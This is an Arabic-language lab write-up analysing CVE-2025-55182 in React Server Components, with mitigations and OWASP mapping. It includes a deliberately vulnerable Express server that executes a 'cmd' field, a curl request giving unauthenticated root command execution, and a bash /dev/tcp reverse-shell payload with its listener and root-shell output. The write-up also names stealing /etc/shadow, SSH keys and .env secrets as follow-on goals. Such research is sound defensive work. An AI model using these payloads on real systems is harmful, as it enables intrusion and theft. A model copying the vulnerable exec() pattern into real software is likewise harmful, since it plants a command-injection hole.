
بحث أمني وتحليل استغلال لثغرة CVE-2025-55182 (React) — ربط CVSS مع OWASP Top 10
تحليل ثغرة أمنية في تطبيق ويب · M2 Cybersecurity · 2025 المؤلف: نيان محمد · LinkedIn
سلسلة استغلال متكاملة لثغرة إلغاء تسلسل غير آمنة خطيرة (CVSS 10.0) في React Server Components، بدءًا من الاستطلاع وصولًا إلى تنفيذ تعليمات برمجية عن بُعد دون مصادقة، مع خارطة طريق كاملة للمعالجة.
يستهدف هذا البحث تطبيقًا مخبريًا ضعيفًا عمدًا صُمم لتوضيح الثغرة CVE. تمت جميع الاختبارات في شبكة افتراضية معزولة دون أي اتصال بأنظمة الإنتاج أو بيانات مستخدمين حقيقية أو خدمات طرف ثالث.
قدّمت React Server Components تنسيق تسلسل جديدًا لبث المكوّنات المُقدَّمة من جانب الخادم إلى العميل. في الإصدارات الضعيفة، تقبل نقطة نهاية RSC حمولة JSON تحتوي على حقل cmd يُمرَّر دون تنقية إلى child_process.exec() كجزء من تقييم العرض من جانب الخادم.
يمكن للمهاجم إرسال طلب POST مُعدّ بدقة بحيث:
root في الحاويات)| المكوّن | النطاق المتأثر | تم التصحيح في |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
خادم Express + RSC بسيط يعرّض نقطة نهاية /rsc تنفّذ الأوامر من الحمولة الواردة بشكل غير آمن — لإعادة إنتاج نمط الثغرة في CVE الحقيقية بطريقة مُتحكم بها:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
تمثل ترويسة X-Powered-By: Express والمنفذ غير المعتاد 3000 بصمة قوية على أن هذا تطبيق Node.js — بما يتوافق مع بيئات نشر RSC.
قبل محاولة القيام بأي إجراء تدميري، تحقق من الثغرة باستخدام أمر غير مؤذٍ:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ مؤكَّد: تنفيذ تعليمات برمجية عن بُعد دون مصادقة بصلاحيات root. يعمل الخادم بصلاحيات غير مقيّدة.
ارتقِ من تنفيذ أمر واحد إلى قشرة تفاعلية كاملة:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
يتلقى المستمع:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
بامتلاك صلاحيات root على الهدف، يستطيع المهاجم بسهولة:
/etc/shadow ومفاتيح SSH وأسرار التطبيق وملفات .envانخفاض تعقيد هذا الهجوم — دون مصادقة أو تفاعل من المستخدم، وطلب HTTP واحد فقط — يجعله جذابًا لما يلي:
ترقية React إلى 19.3.0+ — الإصدار المُصحَّح
npm update react react-server-dom-webpack react-server-dom-esm
قاعدة WAF مؤقتة (إذا تأخرت الترقية):
Block POST requests to /rsc with JSON body containing "cmd" field
استجابة طارئة للحوادث:
/rsc| فئة OWASP | الصلة |
|---|---|
| A03:2021 — الحقن | حقن أوامر عبر إدخال مُلغى التسلسل |
curl، هندسة القشرة العكسية، صياغة الحمولاترخصة MIT — راجع LICENSE
نُشر لأغراض تعليمية وبحوث دفاعية. راجع إخلاء المسؤولية الأخلاقي في الأعلى.
نيان محمد — مهندس شبكات وأمن 📍 نواكشوط، موريتانيا → يبحث عن فرص في ألمانيا 🇩🇪 📧 [email protected] · 🔗 LinkedIn
| الحقل | القيمة |
|---|
| CVE | CVE-2025-55182 |
| التصنيف | إلغاء تسلسل غير آمن → تنفيذ تعليمات برمجية عن بُعد |
| CVSS v3.1 | 10.0 (حرج) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| المصادقة المطلوبة | لا شيء |
| تفاعل المستخدم المطلوب | لا شيء |
| متجه الهجوم | الشبكة (عن بُعد) |
| المكوّن | وقت تشغيل React Server Components (RSC) |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| الدور | نظام التشغيل | الأدوات |
|---|
| المهاجم | Kali Linux (أحدث إصدار) | nmap, curl, netcat, OWASP ZAP, Firefox |
| الهدف | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| الشبكة | VMware VMnet Host-Only | لا حركة خروج إلى الإنترنت |
| المحور | الأثر | الشرح |
|---|
| السرية | حرج | وصول كامل للقراءة إلى جميع بيانات الخادم |
| السلامة | حرج | القدرة على تعديل كود التطبيق وبيانات المستخدمين |
| التوافر | مرتفع | يمكن للمهاجم إيقاف الخدمة أو احتجازها مقابل فدية |
| التنظيمي | شديد | خرق لـ GDPR/DSGVO مع إلزامية الإفصاح خلال 72 ساعة · غرامة محتملة تصل إلى 4% من الإيرادات العالمية |
| السمعة | شديد | خرق معلن ومرتبط برقم CVE يضر بثقة العملاء |
| المالي | مرتفع | الاستجابة للحوادث، غرامات تنظيمية، دعوى جماعية محتملة |
| الإجراء | الغرض |
|---|
| تعطيل RSC إذا لم يكن مستخدمًا | تقليل سطح الهجوم — العديد من التطبيقات لا تحتاج إلى مكوّنات الخادم |
| تحقق صارم من المدخلات | رفض أي كائن مُلغى التسلسل يحتوي على مفاتيح قابلة للتنفيذ |
| مستخدم حاوية بصلاحيات غير root | الحد من نطاق الضرر في حال تكرار RCE |
| نظام ملفات جذر للقراءة فقط | منع آليات الاستمرارية وإسقاط الملفات التنفيذية |
| تصفية حركة المرور الصادرة | حظر حركة المرور الصادرة من خوادم التطبيقات إلى عناوين IP عشوائية |
| الإجراء | الغرض |
|---|
| WAF مع تحليل سلوكي | كشف حمولات POST الشاذة بما يتجاوز قواعد التوقيعات |
| الحماية الذاتية للتطبيق وقت التشغيل (RASP) | حظر استدعاءات الدوال الخطيرة مثل exec() في وقت التشغيل |
| تحليل تركيبة البرمجيات (SCA) في CI/CD | رصد التبعيات الضعيفة قبل النشر (pip-audit, npm audit, Trivy) |
| إيقاع اختبار الاختراق | سنويًا + بعد كل إصدار رئيسي |
| برنامج مكافآت اكتشاف الثغرات | تحفيز الإفصاح الأخلاقي قبل أن يكتشف المهاجمون الثغرات |
| A08:2021 — فشل سلامة البرمجيات والبيانات | إلغاء تسلسل غير آمن دون التحقق من السلامة |
| A06:2021 — المكوّنات الضعيفة والقديمة | استخدام React 19.0-19.2 بعد الإفصاح عن الثغرة |
| A05:2021 — سوء الإعداد الأمني | تشغيل Node.js بصلاحيات root دون التحقق من المدخلات |